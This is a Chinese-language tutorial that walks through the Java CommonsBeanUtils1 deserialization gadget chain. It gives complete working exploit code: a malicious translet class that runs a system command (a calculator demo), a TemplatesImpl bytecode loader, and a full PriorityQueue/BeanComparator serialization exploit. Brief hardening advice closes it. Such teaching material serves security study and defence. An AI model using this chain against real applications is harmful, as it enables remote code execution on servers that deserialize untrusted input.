Java CommonsBeanUtils1 反序列化手写 EXP
字数 1188 2025-08-12 11:34:02
Java CommonsBeanUtils1 反序列化漏洞分析与利用
0x01 前言
CommonsBeanUtils 反序列化漏洞链在后续的漏洞利用中非常重要,特别是在 Shiro 和 Fastjson 等框架的漏洞利用中。本教程将详细讲解如何手写 CommonsBeanUtils1 的反序列化 EXP。
0x02 环境准备
- JDK 8(不受版本影响)
- 依赖库:
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.9.2</version>
</dependency>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
<dependency>
<groupId>commons-logging</groupId>
<artifactId>commons-logging</artifactId>
<version>1.2</version>
</dependency>
0x03 CommonsBeanUtils 简介
Apache Commons BeanUtils 主要用于操作 JavaBean(具有 getter/setter 方法的实体类)。核心功能是通过 PropertyUtils.getProperty() 方法调用任意 JavaBean 的 getter 方法。
示例 JavaBean:
public class Baby {
private String name = "Drunkbaby";
public String getName(){
return name;
}
public void setName(String name) {
this.name = name;
}
}
调用示例:
import org.apache.commons.beanutils.PropertyUtils;
public class CBMethods {
public static void main(String[] args) throws Exception {
System.out.println(PropertyUtils.getProperty(new Baby(), "name"));
}
}
0x04 漏洞链分析
1. 漏洞链尾部 - TemplatesImpl 利用
利用 TemplatesImpl 动态加载字节码的攻击链:
TemplatesImpl#getOutputProperties()
→ TemplatesImpl#newTransformer()
→ TemplatesImpl#getTransletInstance()
→ TemplatesImpl#defineTransletClasses()
→ TransletClassLoader#defineClass()
getOutputProperties() 是一个 public 的 getter 方法,可以通过 PropertyUtils.getProperty() 调用。
2. 中间链 - BeanComparator.compare()
BeanComparator.compare() 方法会调用 PropertyUtils.getProperty():
- 如果
property属性为空,直接比较两个对象 - 如果
property不为空,则用PropertyUtils.getProperty获取属性值比较
3. 入口类 - PriorityQueue
完整调用链:
PriorityQueue.readObject()
→ PriorityQueue.heapify()
→ PriorityQueue.siftDown()
→ PriorityQueue.siftDownUsingComparator()
→ BeanComparator.compare()
→ PropertyUtils.getProperty(TemplatesImpl, "outputProperties")
→ TemplatesImpl.getOutputProperties()
→ TemplatesImpl.newTransformer()
→ TemplatesImpl.getTransletInstance()
→ TemplatesImpl.defineTransletClasses()
0x05 EXP 编写
1. 恶意字节码类
需要继承 AbstractTranslet:
package src.DynamicClassLoader.TemplatesImplClassLoader;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class TemplatesBytes extends AbstractTranslet {
public void transform(DOM dom, SerializationHandler[] handlers) throws TransletException {}
public void transform(DOM dom, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
public TemplatesBytes() throws IOException {
super();
Runtime.getRuntime().exec("Calc");
}
}
2. 基础 POC
package src.DynamicClassLoader.TemplatesImplClassLoader;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
public class TemplatesRce {
public static void main(String[] args) throws Exception {
byte[] code = Files.readAllBytes(Paths.get("E:\\JavaClass\\TemplatesBytes.class"));
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "Calc");
setFieldValue(templates, "_bytecodes", new byte[][] {code});
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
templates.newTransformer();
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
3. 完整 EXP
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.beanutils.PropertyUtils;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
public class CB1FinalEXP {
public static void main(String[] args) throws Exception {
byte[] code = Files.readAllBytes(Paths.get("E:\\JavaClass\\TemplatesBytes.class"));
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "Calc");
setFieldValue(templates, "_bytecodes", new byte[][] {code});
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
final BeanComparator beanComparator = new BeanComparator();
// 创建队列并添加初始值
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, beanComparator);
queue.add(1);
queue.add(1);
// 通过反射修改属性
setFieldValue(beanComparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{templates, templates});
// 序列化和反序列化
serialize(queue);
unserialize("ser.bin");
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
0x06 关键点总结
-
TemplatesImpl 利用:
- 需要设置
_name、_bytecodes和_tfactory属性 - 恶意类必须继承
AbstractTranslet
- 需要设置
-
BeanComparator 利用:
- 通过设置
property属性为 "outputProperties" 来触发 getter 调用 - 使用反射修改私有属性
- 通过设置
-
PriorityQueue 构造:
- 初始添加两个相同值避免比较时抛出异常
- 通过反射替换队列中的实际对象
-
序列化控制:
- 确保序列化时不触发代码执行
- 反序列化时才触发漏洞
0x07 防御建议
- 升级 Commons BeanUtils 到最新版本
- 对反序列化操作进行严格限制
- 使用安全管理器限制危险操作
0x08 参考资料
- JavaBean 介绍 - 廖雪峰
- Apache Commons BeanUtils 官方文档